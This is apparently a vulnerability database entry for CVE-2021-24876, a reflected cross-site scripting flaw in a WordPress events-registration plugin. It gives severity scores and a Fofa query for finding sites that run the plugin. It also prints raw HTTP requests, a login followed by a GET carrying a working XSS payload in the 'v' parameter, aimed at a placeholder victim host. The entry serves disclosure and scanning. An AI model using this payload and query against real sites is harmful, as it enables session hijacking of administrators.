| Title | Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting |
|---|---|
| Author | popcorn94 |
| Severity | Medium |
| Impact | Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users. |
| Remediation | Fixed in 2.7.5 |
| CVSS Score | 6.1 |
| EPSS Score | 0.00578 |
| CVE ID | CVE-2021-24876 |
| CWE ID | CWE-79 |
| Fofa Query | body="/wp-content/plugins/registrations-for-the-events-calendar/" |
| Tags | cve cve2021 wordpress wpscan wp-plugin wp registrations-for-the-events-calendar xss authenticated vkev vuln |
The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/614.31.14 (KHTML, like Gecko) Version/17.0.96 Safari/614.31.14
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=olwtRb&pwd=ntMc6V&wp-submit=Log+In
GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Mobile/15E148 Safari/604.1
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24876.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24876.pcap
N/AN/A